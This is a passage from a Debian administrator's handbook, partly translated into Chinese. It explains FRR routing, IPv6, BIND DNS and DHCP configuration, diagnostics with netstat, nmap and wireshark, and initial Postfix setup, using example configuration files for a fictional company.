The reference tool for dynamic routing is currently frr from the similarly-named package; it used to be quagga, and before that zebra until development of these stopped. However, frr kept the names of the programs for compatibility reasons which explains the zebra commands below.

BACK TO BASICS Dynamic routing

Dynamic routing allows routers to adjust, in real time, the paths used for transmitting IP packets. Each protocol involves its own method of defining routes (shortest path, use routes advertised by peers, and so on).

In the Linux kernel, a route links a network device to a set of machines that can be reached through this device. The ip command, when route is used as the first argument, defines new routes and displays existing ones. The route command was used for that purpose, but it is deprecated in favor of ip.

FRR (FRRouting) is a set of daemons cooperating to define the routing tables to be used by the Linux kernel; each routing protocol (most notably BGP, OSPF and RIP) provides its own daemon(s). The zebra and staticd daemons, which are always started, collect information from other daemons and handle static routing tables accordingly. The other daemons are known as bgpd, ospfd, ospf6d, ripd, ripngd, isisd, etc.

Daemons are enabled by creating the /etc/frr/daemon.conf config file, daemon being the name of the daemon to use, and editing the /etc/frr/daemons configuration file. The daemon config file must belong to the frr user and group with permissions of 0640 in order for the /etc/init.d/frr script or the frr.service systemd service file to invoke the daemon. The package frr provides configuration examples under /usr/share/doc/frr/examples/.

The configuration of each of these daemons requires knowledge of the routing protocol in question. These protocols cannot be described in detail here, but frr-doc provides ample explanation in the form of both info and HTML files. The same contents may be more browsed on the project's website:

→ http://docs.frrouting.org/en/latest/

In addition, the syntax is very close to a standard router's configuration interface, and network administrators will adapt quickly to frr.

IN PRACTICE OSPF, BGP or RIP?

OSPF (Open Shortest Path First) is generally the best protocol to use for dynamic routing on private networks, but BGP (Border Gateway Protocol) is more common for Internet-wide routing. RIP (Routing Information Protocol) is rather ancient, and hardly used anymore.

10.6. IPV6

IPv6, successor to IPv4, is a newer version of the IP protocol designed to fix its flaws, most notably the scarcity of available IP addresses. This protocol handles the network layer; its purpose is to provide a way to address machines, to convey data to their intended destination, and to handle data fragmentation if needed (in other words, to split packets into chunks with a size that depends on the network links to be used on the path and to reassemble the chunks in their proper order on arrival).

Debian kernels include IPv6 handling in the core kernel (with the exception of some architectures that have it compiled as a module named ipv6). Basic tools such as ping and traceroute have their IPv6 equivalents in ping6 and traceroute6, available respectively in the iputils-ping and iputils-tracepath packages.

The IPv6 network is configured similarly to IPv4, in /etc/network/interfaces. But if you want that network to be globally available, you must ensure that you have an IPv6-capable router relaying traffic to the global IPv6 network.

例 10.10. Example of IPv6 configuration

iface enp7s0 inet6 static

address 2001:db8:1234:5::1:1/64

# Disabling auto-configuration

# autoconf 0

# The router is auto-configured and has no fixed address

# (accept_ra 1). If it had:

# gateway 2001:db8:1234:5::1

IPv6 subnets usually have a netmask of 64 bits. This means that 2^64 distinct addresses exist within the subnet. This allows Stateless Address Autoconfiguration (SLAAC) to pick an address based on the network interface's MAC address. By default, if SLAAC is activated in your network and IPv6 on your computer, the kernel will automatically find IPv6 routers and configure the network interfaces.

This behavior may have privacy implications. If you switch networks frequently, e.g. with a laptop, you might not want your MAC address being a part of your public IPv6 address. This makes it easy to identify the same device across networks. A solution to this are IPv6 privacy extensions (which Debian enables by default if IPv6 connectivity is detected during initial installation), which will assign an additional randomly generated address to the interface, periodically change them and prefer them for outgoing connections. Incoming connections can still use the address generated by SLAAC. The following example, for use in /etc/network/interfaces, activates these privacy extensions for the interface enp7s0.

例 10.11. IPv6 privacy extensions

iface enp7s0 inet6 auto

# Prefer the randomly assigned addresses for outgoing connections.

privext 2

TIP Programs built with IPv6

Many pieces of software need to be adapted to handle IPv6. Most of the packages in Debian have been adapted already, but not all. If your favorite package does not work with IPv6 yet, you can ask for help on the debian-ipv6 mailing-list. They might know about an IPv6-aware replacement and could file a bug to get the issue properly tracked.

→ https://lists.debian.org/debian-ipv6/

IPv6 connections can be restricted, in the same fashion as for IPv4. nft can be used to create firewall rules for IPv4 and IPv6 (see 第 14.2.3 节 “nft 的语法”).

10.6.1. Tunneling

CAUTION IPv6 tunneling and firewalls

IPv6 tunneling over IPv4 (as opposed to native IPv6) requires the firewall to accept the traffic, which uses IPv4 protocol number 41.

If a native IPv6 connection is not available, the fallback method is to use a tunnel over IPv4. Hurricane Electric is one (free) provider of such tunnels:

→ https://tunnelbroker.net

To use a Hurricane Electric tunnel, you need to register an account, login, select a free tunnel and edit the file /etc/network/interfaces with the generated code.

You can install and configure the radvd daemon (from the similarly-named package) if you want to use the configured computer as a router for a local network. This IPv6 configuration daemon has a role similar to dhcpd in the IPv4 world.

The /etc/radvd.conf configuration file must then be created (see /usr/share/doc/radvd/examples/simple-radvd.conf as a starting point). In our case, the only required change is the prefix, which needs to be replaced with the one provided by Hurricane Electric; it can be found in the output of the ip a command, in the block concerning the he-ipv6 interface.

Then run systemctl start radvd. The IPv6 network should now work.

10.7. Domain Name Servers (DNS)

The Domain Name Service (DNS) is a fundamental component of the Internet: it maps host names to IP addresses (and vice-versa), which allows the use of www.debian.org instead of 130.89.148.77 or 2001:67c:2564:a119::77.

DNS records are organized in zones; each zone matches either a domain (or a subdomain) or an IP address range (since IP addresses are generally allocated in consecutive ranges). A primary server is authoritative on the contents of a zone; secondary servers, usually hosted on separate machines, provide regularly refreshed copies of the primary zone.

Each zone can contain records of various kinds (Resource Records), these are some of the most common:

- A (address record): IPv4 address. This is the most common form to point a domain to an IPv4 address.

- CNAME (canonical name record): alias

- MX (mail exchange): an email server. This information is used by other email servers to find where to send email addressed to a given address. Each MX record has a priority. The highest-priority server (with the lowest number) is tried first (see sidebar 基本知识 SMTP); other servers are contacted in order of decreasing priority if the first one does not reply.

- PTR (pointer): mapping of an IP address to a name. Such a record is stored in a “reverse DNS” zone named after the IP address range. For example, 1.168.192.in-addr.arpa is the zone containing the reverse mapping for all addresses in the 192.168.1.0/24 range.

- AAAA (IPv6 address record): IPv6 address.

- NS (name server): maps a name to a name server. Each domain must have at least one NS record. These records point at a DNS server that can answer queries concerning this domain; they usually point at the primary and secondary servers for the domain. These records also allow DNS delegation; for instance, the falcot.com zone can include an NS record for internal.falcot.com, which means that the internal.falcot.com zone is handled by another server. Of course, this server must declare an internal.falcot.com zone.

10.7.1. DNS software

The reference name server, Bind, was developed and is maintained by ISC (the Internet Software Consortium). It is provided in Debian by the bind9 package. Version 9 brings two major changes compared to previous versions. First, the DNS server can now run under an unprivileged user, so that a security vulnerability in the server does not grant root privileges to the attacker (as was seen repeatedly with versions 8.x).

Furthermore, Bind supports the DNSSEC standard for signing (and therefore authenticating) DNS records, which allows blocking any spoofing of this data during man-in-the-middle attacks.

CULTURE DNSSEC

The DNSSEC norm is quite complex; this partly explains why it is not in widespread usage yet (even if it perfectly coexists with DNS servers unaware of DNSSEC). To understand all the ins and outs, you should check the following article.

→ https://en.wikipedia.org/wiki/Domain_Name_System_Security_Extensions

10.7.2. Configuring bind

Configuration files for bind, irrespective of version, have the same structure.

The Falcot administrators created a primary falcot.com zone to store information related to this domain, and a 168.192.in-addr.arpa zone for reverse mapping of IP addresses in the local networks.

CAUTION Names of reverse zones

Reverse zones have a particular name. The zone covering the 192.168.0.0/16 network needs to be named 168.192.in-addr.arpa: the IP address components are reversed, and followed by the in-addr.arpa suffix.

For IPv6 networks, the suffix is ip6.arpa and the IP address components which are reversed are each character in the full hexadecimal representation of the IP address. As such, the 2001:0bc8:31a0::/48 network would use a zone named 0.a.1.3.8.c.b.0.1.0.0.2.ip6.arpa.

TIP Testing the DNS server

The host command (in the bind9-host package) queries a DNS server, and can be used to test the server configuration. For example, host machine.falcot.com localhost checks the local server's reply for the machine.falcot.com query. host ipaddress localhost tests the reverse resolution.

The following configuration excerpts, taken from the Falcot files, can serve as starting points to configure a DNS server:

例 10.12. Excerpt of /etc/bind/named.conf.local

zone "falcot.com" {

type master;

file "/etc/bind/db.falcot.com";

allow-query { any; };

allow-transfer {

195.20.105.149/32 ; // ns0.xname.org

193.23.158.13/32 ; // ns1.xname.org

};

};

zone "internal.falcot.com" {

type master;

file "/etc/bind/db.internal.falcot.com";

allow-query { 192.168.0.0/16; };

};

zone "168.192.in-addr.arpa" {

type master;

file "/etc/bind/db.192.168";

allow-query { 192.168.0.0/16; };

};

例 10.13. Excerpt of /etc/bind/db.falcot.com

; falcot.com Zone

; admin.falcot.com. => zone contact: admin@falcot.com

$TTL    604800

@       IN      SOA     falcot.com. admin.falcot.com. (

20040121        ; Serial

604800         ; Refresh

86400         ; Retry

2419200         ; Expire

604800 )       ; Negative Cache TTL

;

; The @ refers to the zone name ("falcot.com" here)

; or to $ORIGIN if that directive has been used

;

@       IN      NS      ns

@       IN      NS      ns0.xname.org.

internal IN      NS      192.168.0.2

@       IN      A       212.94.201.10

@       IN      MX      5 mail

@       IN      MX      10 mail2

ns      IN      A       212.94.201.10

mail    IN      A       212.94.201.10

mail2   IN      A       212.94.201.11

www     IN      A       212.94.201.11

dns     IN      CNAME   ns

CAUTION Syntax of a name

The syntax of machine names follows strict rules. For instance, machine implies machine.domain. If the domain name should not be appended to a name, said name must be written as machine. (with a dot as suffix). Indicating a DNS name outside the current domain therefore requires a syntax such as machine.otherdomain.com. (with the final dot).

例 10.14. Excerpt of /etc/bind/db.192.168

; Reverse zone for 192.168.0.0/16

; admin.falcot.com. => zone contact: admin@falcot.com

$TTL    604800

@       IN      SOA     ns.internal.falcot.com. admin.falcot.com. (

20040121        ; Serial

604800         ; Refresh

86400         ; Retry

2419200         ; Expire

604800 )       ; Negative Cache TTL

IN      NS      ns.internal.falcot.com.

; 192.168.0.1 -> arrakis

1.0     IN      PTR     arrakis.internal.falcot.com.

; 192.168.0.2 -> neptune

2.0     IN      PTR     neptune.internal.falcot.com.

; 192.168.3.1 -> pau

1.3     IN      PTR     pau.internal.falcot.com.

10.8. DHCP

DHCP (for Dynamic Host Configuration Protocol) is a protocol by which a machine can automatically get its network configuration when it boots. This allows centralizing the management of network configurations, and ensuring that all desktop machines get similar settings.

A DHCP server provides many network-related parameters. The most common of these is an IP address and the network where the machine belongs, but it can also provide other information, such as DNS servers, WINS servers, NTP servers, and so on.

The Internet Software Consortium (also involved in developing bind) is the main author of the DHCP server. The matching Debian package is isc-dhcp-server.

10.8.1. 配置

The first elements that need to be edited in the DHCP server configuration files (/etc/dhcp/dhcpd.conf, and /etc/dhcp/dhcpd6.conf for IPv6) are the domain name and the DNS servers. If this server is alone on the local network (as defined by the broadcast propagation), the authoritative directive must also be enabled (or uncommented). One also needs to create a subnet section describing the local network and the configuration information to be provided. The following example fits a 192.168.0.0/24 local network with a router at 192.168.0.1 serving as the gateway. Available IP addresses are in the range 192.168.0.128 to 192.168.0.254.

例 10.15. Excerpt of /etc/dhcp/dhcpd.conf

#

# Sample configuration file for ISC dhcpd for Debian

#

# The ddns-updates-style parameter controls whether or not the server will

# attempt to do a DNS update when a lease is confirmed. We default to the

# behavior of the version 2 packages ('none', since DHCP v2 didn't

# have support for DDNS.)

ddns-update-style interim;

# option definitions common to all supported networks...

option domain-name "internal.falcot.com";

option domain-name-servers ns.internal.falcot.com;

default-lease-time 600;

max-lease-time 7200;

# If this DHCP server is the official DHCP server for the local

# network, the authoritative directive should be uncommented.

authoritative;

# Use this to send dhcp log messages to a different log file (you also

# have to hack syslog.conf to complete the redirection).

log-facility local7;

# My subnet

subnet 192.168.0.0 netmask 255.255.255.0 {

option routers 192.168.0.1;

option broadcast-address 192.168.0.255;

range 192.168.0.128 192.168.0.254;

ddns-domainname "internal.falcot.com";

}

10.8.2. DHCP and DNS

A nice feature is the automated registering of DHCP clients in the DNS zone, so that each machine gets a significant name (rather than something impersonal such as machine-192-168-0-131.internal.falcot.com). Using this feature requires configuring the DNS server to accept updates to the internal.falcot.com DNS zone from the DHCP server, and configuring the latter to submit updates for each registration.

In the bind case (see 第 10.7.1 节 “DNS software”), the allow-update directive needs to be added to each of the zones that the DHCP server is to edit (the one for the internal.falcot.com domain, and the reverse zone). This directive lists the IP addresses allowed to perform these updates; it should therefore contain the possible addresses of the DHCP server (both the local address and the public address, if appropriate).

allow-update { 127.0.0.1 192.168.0.1 212.94.201.10 !any };

Beware! A zone that can be modified will be changed by bind, and the latter will overwrite its configuration files at regular intervals. Since this automated procedure produces files that are less human-readable than manually-written ones, the Falcot administrators handle the internal.falcot.com domain with a delegated DNS server; this means the falcot.com zone file stays firmly under their manual control.

The DHCP server configuration excerpt above already includes the directives required for DNS zone updates: they are the ddns-update-style interim; and ddns-domain-name "internal.falcot.com"; lines.

10.9. 网络诊断工具

When a network application does not run as expected, it is important to be able to look under the hood. Even when everything seems to run smoothly, running a network diagnosis can help ensure everything is working as it should. Several diagnosis tools exists for this purpose; each one operates on a different level. It would go beyond the scope of this book to discuss all tools, so we will focus on the more well-known and commonly used tools in the following sections.

10.9.1. 本地诊断：netstat

首先是在 net-tools 包中的 netstat 命令；这个命令能够显示机器的实时网络活动。当直接运行时，该程序会输出所有的连接；由于该命令会输出很多不涉及网络的 Unix 域套接字（如 dbus 连接、X11 连接，以及虚拟文件系统和桌面间的通信），所以输出内容会非常长。

因此，运行 netstat 命令时通常会使用其他命令行参数。最常用的参数都有：

- -t, 会只输出 TCP 连接；

- -u, which works similarly for UDP connections; these options are not mutually exclusive, and one of them is enough to stop displaying Unix-domain connections;

- -a, to also list listening sockets (waiting for incoming connections);

- -n, to display the results numerically: IP addresses (no DNS resolution), port numbers (no aliases as defined in /etc/services) and user ids (no login names);

- -p, 列出所涉及的进程；由于普通用户只能看到自己的进程，这个选项仅在 netstat 以 root 身份运行时才有效；

- -c, 不断刷新连接列表。

Other options, documented in the netstat(8) manual page, provide an even finer control over the displayed results. In practice, the first five options are so often used together that systems and network administrators practically acquired netstat -tupan as a reflex. Typical results, on a lightly loaded machine, may look like the following:

# netstat -tupan

Active Internet connections (servers and established)

Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name

tcp        0      0 0.0.0.0:111             0.0.0.0:*               LISTEN      397/rpcbind

tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      431/sshd

tcp        0      0 0.0.0.0:36568           0.0.0.0:*               LISTEN      407/rpc.statd

tcp        0      0 127.0.0.1:25            0.0.0.0:*               LISTEN      762/exim4

tcp        0    272 192.168.1.242:22        192.168.1.129:44452     ESTABLISHED 1172/sshd: roland [

tcp6       0      0 :::111                  :::*                    LISTEN      397/rpcbind

tcp6       0      0 :::22                   :::*                    LISTEN      431/sshd

tcp6       0      0 ::1:25                  :::*                    LISTEN      762/exim4

tcp6       0      0 :::35210                :::*                    LISTEN      407/rpc.statd

udp        0      0 0.0.0.0:39376           0.0.0.0:*                           916/dhclient

udp        0      0 0.0.0.0:996             0.0.0.0:*                           397/rpcbind

udp        0      0 127.0.0.1:1007          0.0.0.0:*                           407/rpc.statd

udp        0      0 0.0.0.0:68              0.0.0.0:*                           916/dhclient

udp        0      0 0.0.0.0:48720           0.0.0.0:*                           451/avahi-daemon: r

udp        0      0 0.0.0.0:111             0.0.0.0:*                           397/rpcbind

udp        0      0 192.168.1.242:123       0.0.0.0:*                           539/ntpd

udp        0      0 127.0.0.1:123           0.0.0.0:*                           539/ntpd

udp        0      0 0.0.0.0:123             0.0.0.0:*                           539/ntpd

udp        0      0 0.0.0.0:5353            0.0.0.0:*                           451/avahi-daemon: r

udp        0      0 0.0.0.0:39172           0.0.0.0:*                           407/rpc.statd

udp6       0      0 :::996                  :::*                                397/rpcbind

udp6       0      0 :::34277                :::*                                407/rpc.statd

udp6       0      0 :::54852                :::*                                916/dhclient

udp6       0      0 :::111                  :::*                                397/rpcbind

udp6       0      0 :::38007                :::*                                451/avahi-daemon: r

udp6       0      0 fe80::5054:ff:fe99::123 :::*                                539/ntpd

udp6       0      0 2001:bc8:3a7e:210:a:123 :::*                                539/ntpd

udp6       0      0 2001:bc8:3a7e:210:5:123 :::*                                539/ntpd

udp6       0      0 ::1:123                 :::*                                539/ntpd

udp6       0      0 :::123                  :::*                                539/ntpd

udp6       0      0 :::5353                 :::*                                451/avahi-daemon: r

As expected, this lists established connections, two SSH connections in this case, and applications waiting for incoming connections (listed as LISTEN), notably the Exim4 email server listening on port 25.

10.9.2. Remote Diagnosis: nmap

nmap (in the similarly-named package) is, in a way, the remote equivalent for netstat. It can scan a set of “well-known” ports for one or several remote servers, and list the ports where an application is found to answer to incoming connections. Furthermore, nmap is able to identify some of these applications, sometimes even their version number. The counterpart of this tool is that, since it runs remotely, it cannot provide information on processes or users; however, it can operate on several targets at once.

A typical nmap invocation only uses the -A option (so that nmap attempts to identify the versions of the server software it finds) followed by one or more IP addresses or DNS names of machines to scan. Again, many more options exist to finely control the behavior of nmap; please refer to the documentation in the nmap(1) manual page.

# nmap debian

Starting Nmap 7.80 ( https://nmap.org ) at 2022-02-22 20:58 CET

Nmap scan report for debian (192.168.122.57)

Host is up (0.000087s latency).

Not shown: 996 closed ports

PORT    STATE SERVICE

22/tcp  open  ssh

79/tcp  open  finger

80/tcp  open  http

113/tcp open  ident

Nmap done: 1 IP address (1 host up) scanned in 0.07 seconds

# nmap -A localhost

nmap -A localhost

Starting Nmap 7.80 ( https://nmap.org ) at 2022-02-22 20:56 CET

Stats: 0:01:16 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan

Service scan Timing: About 83.33% done; ETC: 20:57 (0:00:15 remaining)

Nmap scan report for localhost (127.0.0.1)

Host is up (0.000086s latency).

Other addresses for localhost (not scanned): ::1

Not shown: 994 closed ports

PORT    STATE SERVICE VERSION

22/tcp  open  ssh     OpenSSH 8.4p1 Debian 5 (protocol 2.0)

|_auth-owners: foobar

25/tcp  open  smtp    Postfix smtpd

|_auth-owners: foobar

|_smtp-commands: debian, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8, CHUNKING,

| ssl-cert: Subject: commonName=debian

| Subject Alternative Name: DNS:debian

| Not valid before: 2022-02-22T14:48:42

|_Not valid after:  2032-02-20T14:48:42

|_ssl-date: TLS randomness does not represent time

79/tcp  open  finger?

|_auth-owners: foobar

|_finger: ERROR: Script execution failed (use -d to debug)

80/tcp  open  http    Apache httpd 2.4.52 ((Debian))

|_auth-owners: foobar

|_http-server-header: Apache/2.4.52 (Debian)

|_http-title: Apache2 Debian Default Page: It works

113/tcp open  ident   Liedentd (Claimed user: foobar)

|_auth-owners: foobar

631/tcp open  ipp     CUPS 2.3

|_auth-owners: foobar

| http-robots.txt: 1 disallowed entry

|_/

|_http-server-header: CUPS/2.3 IPP/2.1

|_http-title: Home - CUPS 2.3.3op2

Service Info: Host:  debian; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

Nmap done: 1 IP address (1 host up) scanned in 87.91 seconds

As expected, e.g. the SSH, Apache and Postfix applications are listed. Note that not all applications listen on all IP addresses; since Postfix is only accessible on the lo loopback interface, it only appears during an analysis of localhost and not when scanning debian (which maps to the enp1s0 interface on the same machine).

10.9.3. Sniffers: tcpdump and wireshark

Sometimes, one needs to look at what actually goes on the wire, packet by packet. These cases call for a “frame analyzer”, more widely known as a sniffer. Such a tool observes all the packets that reach a given network interface, and displays them in a user-friendly way.

The venerable tool in this domain is tcpdump, available as a standard tool on a wide range of platforms. It allows many kinds of network traffic capture, but the representation of this traffic stays rather obscure. We will therefore not describe it in further detail.

A more recent (and more modern) tool, wireshark (in the wireshark package), has become the new reference in network traffic analysis due to its many decoding modules that allow for a simplified analysis of the captured packets. The packets are displayed graphically with an organization based on the protocol layers. This allows a user to visualize all protocols involved in a packet. For example, given a packet containing an HTTP request, wireshark displays, separately, the information concerning the physical layer, the Ethernet layer, the IP packet information, the TCP connection parameters, and finally the HTTP request itself.

图 10.1. wireshark 网络流量分析器

In our example, the packets traveling over SSH are filtered out (with the !tcp.port == 22 filter). The packet currently displayed was developed at the transport layer of the SSHv2 protocol.

TIP wireshark with no graphical interface: tshark

When one cannot run a graphical interface, or does not wish to do so for whatever reason, a text-only version of wireshark also exists under the name tshark (in a separate tshark package). Most of the capture and decoding features are still available, but the lack of a graphical interface necessarily limits the interactions with the program (filtering packets after they've been captured, tracking of a given TCP connection, and so on). It can still be used as a first approach. If further manipulations are intended and require the graphical interface, the packets can be saved to a file and this file can be loaded into a graphical wireshark running on another machine.

第 11 章 网络服务：Postfix、Apache、NFS、Samba、Squid、LDAP、SIP、XMPP、TURN

网络服务是用户在日常工作中直接与之互动的程序。它们是信息系统的冰山一角，这一章节将集中阐释；它们所依赖而对用户不可见的部分就是我们已经描述过的基础架构。它们通常需要涉及 第 10.2 节 “X.509 认证” 中所描述的加密技术。

11.1. 邮件服务器

Falcot 公司的管理员选择 Postfix 作为电子邮件服务器，理由是它可靠且易于配置。的确，它的设计强制每个任务以所需要最小的权限在进程中实施，这是针对安全问题的巨大的缓解措施。

替代 Exim4 服务器

Debian 使用 Exim4 作为默认的邮件服务器（这就是为何初始安装中包括 Exim4）。配置工作由另外的软件包 exim4-config 来提供，自动化配置依赖于对 Debconf 的几个问题的回答，这些问题类似于 postfix 软件包所询问的问题。

配置可以是单独一个文件（如 /etc/exim4/exim4.conf.template ），或者分割成几个代码段，存储在 /etc/exim4/conf.d/ 之下。在以上两个情况中，文件由 update-exim4.conf 作为模板来使用，从而创建 /var/lib/exim4/config.autogenerated。后者由 Exim4 使用。由于这样的机制，通过 Exim 的 debconf 配置获得的配置值，甚至在管理员或者其包它改变了默认的 Exim 配置的情况下，也可以被注入到 Exim 的配置文件中，其中上述 Exim 的 debconf 配置，存储在 /etc/exim4/update-exim4.conf.conf 中。

Exim4 配置文件的语法有其特殊性和学习曲线；然而一旦理解其特性，Exim4 将会是一个非常完善并且强大的邮件服务器，如其几十页文档所证实的。

→ https://www.exim.org/docs.html

11.1.1. 安装 Postfix

postfix 软件包包含主要的 SMTP 守护进程。其它软件包（如postfix-ldap 和 postfix-pgsql）为 Postfix 添加了额外的功能，包括访问映射数据库。如果您知道自己需要它们，那么应该安装它们。

基本知识 SMTP

SMTP (简单邮件传输协议，RFC 5321) ，是邮件服务器用来交换和传输电子邮件的协议。

一些 Debconf 问题在包安装时会被问到，相关回答允许生成 /etc/postfix/main.cf 配置文件的首个版本。

第一个问题处理设置的类型。在服务器连接到因特网上的情况下，只有两个建议的回答是相关的，即“Internet site”和“Internet with smarthost”。前者适用于接收到来的电子邮件并直接向收件人发送外发邮件的服务器，因此很适合Falcot公司的情况。后者适用于正常接收到来的电子邮件的服务器，但通过中间的 SMTP 服务器——“smarthost”发送外发邮件，而不是直接发送到收件人的服务器。这对于使用动态 IP 地址的个人来说非常有用，因为许多电子邮件服务器拒绝直接从这样的 IP 地址发送的消息。在这种情况下，smarthost 通常是 ISP 的 SMTP 服务器，它总是被配置为接受来自 ISP 客户的电子邮件，并适当地转发。这种设置（使用 smarthost）对于那些不是永久地连接到因特网上的服务器也是相关的，因为它避免了要管理一个无法投递的邮件队列，而这些邮件需要在以后重新尝试。

关键词 ISP

ISP 是“Internet Service Provider”（因特网服务提供商）的首字母缩写。它涵盖了提供因特网连接和相关基础服务（电子邮件、新闻以及等等诸如此类）的实体，通常是商业公司。

第二个问题处理机器的全名，用于从本地用户名生成电子邮件地址；机器的全名最终作为 "@" 之后的部分。在 Falcot 公司的情况下，回答应该是 mail.falcot.com 。这是默认询问的唯一问题，但它所导致的配置还不够完整，无法满足 Falcot 公司的需求，这就是为什么管理员运行 dpkg-reconfigure postfix ，以便能够定制更多参数。

其中一个额外的问题是询问与这台机器相关的所有域名。默认列表包括其全名以及 localhost 的一些同义词，但主要的 falcot.com 域名需要手动添加。更一般的是，这个问题通常应该用这台机器作为 MX 服务器的所有域名来回答，换句话说，就是 DNS 所说的这台机器可以接受电子邮件的所有域名。这些信息最终会出现在 Postfix 主配置文件 /etc/postfix/main.cf 的 mydestination 变量中。

图 11.1. 发送邮件时 DNS MX 记录的角色

扩展 查询 MX 记录

当 DNS 中没有域的 MX 记录时，电子邮件服务器将尝试使用匹配的 A 记录（或 IPv6 中的 AAAA），将消息发送到主机本身。

在某些情况下，安装过程中还可以询问应该允许哪些网络通过机器发送电子邮件。在其默认配置中，Postfix 只接受来自机器本身的电子邮件；通常会添加本地网络。Falcot 公司的管理员将 192.168.0.0/16 添加到默认回答中。如果不询问问题，那么配置文件中的相关变量是 mynetworks ，如下面的示例所示。

本地邮件也可以通过 procmail 来传递。这个工具允许用户根据存储在 ~/.procmailrc 文件中的规则，对到来的电子邮件进行排序。Postfix 和 Exim4 都建议默认使用 procmail ，但也有其它选择，如 maildrop 或 Sieve 筛选程序。

完成第一步后，管理员获得以下配置文件；它将用作下一节中添加一些额外功能的起点。

例 11.1. 初始 /etc/postfix/main.cf 文件

# See /usr/share/postfix/main.cf.dist for a commented, more complete version

# Debian specific:  Specifying a file name will cause the first

# line of that file to be used as the name.  The Debian default

# is /etc/mailname.

#myorigin = /etc/mailname

smtpd_banner = $myhostname ESMTP $mail_name (Debian/GNU)

biff = no

# appending .domain is the MUA's job.

append_dot_mydomain = no

# Uncomment the next line to generate "delayed mail" warnings

#delay_warning_time = 4h

readme_directory = no

# See http://www.postfix.org/COMPATIBILITY_README.html -- default to 2 on

# fresh installs.

compatibility_level = 2

# TLS parameters

smtpd_tls_cert_file=/etc/ssl/certs/ssl-cert-snakeoil.pem

smtpd_tls_key_file=/etc/ssl/private/ssl-cert-snakeoil.key

smtpd_tls_security_level=may

smtp_tls_CApath=/etc/ssl/certs

smtp_tls_security_level=may

smtp_tls_session_cache_database = btree:${data_directory}/smtp_scache

smtpd_relay_restrictions = permit_mynetworks permit_sasl_authenticated defer_unauth_destination

myhostname = mail.falcot.com

alias_maps = hash:/etc/aliases

alias_database = hash:/etc/aliases

mydestination = mail.falcot.com, falcot.com, localhost.localdomain, localhost

relayhost =

mynetworks = 127.0.0.0/8 [::ffff:127.0.0.0]/104 [::1]/128 192.168.0.0/16

mailbox_size_limit = 0

recipient_delimiter = +

inet_interfaces = all

default_transport = smtp

relay_transport = smtp

inet_protocols = all

myorigin = /etc/mailname

安全 Snake oil SSL 证书

snake oil 证书，像旧时代不道德的江湖郎中贩卖的蛇油 “药物”一样，绝对是没有价值的：不能依赖它们来认证服务器，因为它们是自动生成的自签名证书。然而，它们用于改进交换的私密性。

通常它们只用于测试的目的，并且正常的服务必须使用真正的证书。Let's encrypt（让我们加密） 方案提供了免费和可信任的 SSL/TLS 证书，可以使用 第 11.2.2 节 “为 SSL 添加支持” 中描述的 certbot 软件包来生成，然后在 postfix 中使用，像这样：

smtpd_tls_cert_file = /etc/letsencrypt/live/DOMAIN/fullchain.pem

smtpd_tls_key_file = /etc/letsencrypt/live/DOMAIN/privkey.pem

smtpd_tls_CAfile = /etc/ssl/certs/ca-certificates.crt

smtpd_tls_CApath = /etc/ssl/certs

smtp_tls_CApath = /etc/ssl/certs

A different way to generate your own certificates using your own certificate authority is described in 第 10.2.2 节 “公钥基础设施：easy-rsa”.

11.1.2. 配置虚拟域

The mail server can receive mails addressed to other domains besides the main domain; these are then known as “virtual“ domains. In most cases where this happens, the emails are not ultimately destined to local users. Postfix provides two interesting features for handling virtual domains.

警告 虚拟域和规范域

虚拟域不是必须在 mydestination 变量中引用；这个变量只包含直接与机器及其本地用户相联系的“规范”域。

11.1.2.1. 虚拟别名域

虚拟别名域只包含别名，也就是只将电子邮件转发给其它地址的地址。

通过将其名称添加到 virtual_alias_domains 变量中，并引用 virtual_alias_maps 变量中的地址映射文件，来启用这样的域。

virtual_alias_domains = falcotsbrand.com

virtual_alias_maps = hash:/etc/postfix/virtual

/etc/postfix/virtual 文件以相当直接的语法来描述映射：每行包含两个由空白字符分开的字段；第一字段是别名，第二个字段是重定向的电子邮件地址列表。特殊的 @domain.com 语法涵盖了域中所有其余的别名。

webmaster@falcotsbrand.com  jean@falcot.com

contact@falcotsbrand.com    laure@falcot.com, sophie@falcot.com

# The alias below is generic and covers all addresses within

# the falcotsbrand.com domain not otherwise covered by this file.

# These addresses forward email to the same user name in the

# falcot.com domain.

@falcotsbrand.com           @falcot.com

在更改 /etc/postfix/virtual后，postfix 表格 /etc/postfix/virtual.db 需要使用 sudo postmap /etc/postfix/virtual 来更新。

11.1.2.2. 虚拟邮箱域

警告 组合虚拟域吗？

Postfix 不允许在 virtual_alias_domains 和 virtual_mailbox_domains 中使用相同的域。然而， virtual_mailbox_domains 的每个域隐性地包含在 virtual_alias_domains 中，它能够在虚拟域中混合别名和邮箱。

发给虚拟邮箱域的消息，存储在没有指定给本地系统用户的邮箱中。

启用虚拟邮箱域需要在 virtual_mailbox_domains 变量中命名这个域，并且引用 virtual_mailbox_maps 中的邮箱映射文件。virtual_mailbox_base 参数包含目录，邮箱存储在其中。

virtual_mailbox_domains = falcot.org

virtual_mailbox_maps = hash:/etc/postfix/vmailbox

virtual_mailbox_base = /var/mail/vhosts

virtual_uid_maps 参数（各自的 virtual_gid_maps）引用包含映射的文件，其中映射联系了邮件地址与“拥有”相应邮箱的系统用户（各自的用户组）。为了得到由相同的用户/用户组所拥有的所有邮箱，static:5000 语法指定了固定的 UID/GID （在这里，其值为 5000）。

再一次，/etc/postfix/vmailbox 文件的语法非常直接：两个字段由空白字符分开。第一个字段是虚拟域之一的电子邮件地址，而第二个字段是与之相联系的电子邮箱（相对于 virtual_mailbox_base 中指定的目录）。如果邮箱名称以斜杠（/）结尾，那么电子邮件会存储为 maildir 格式；否则，会使用传统的 mbox 格式。maildir 格式使用整个目录来存储邮箱，每个单独的消息存储为单独的文件。另一方面，在 mbox 格式中，整个邮箱存储为一个文件，并且以“From”（“来自”）开始的每一行（From 后面跟着一个空格）表示新消息的开始。

# Jean's email is stored as maildir, with

# one file per email in a dedicated directory

jean@falcot.org falcot.org/jean/

# Sophie's email is stored in a traditional "mbox" file,

# with all mails concatenated into one single file

sophie@falcot.org falcot.org/sophie

11.1.3. 接收邮件和发送邮件的限制

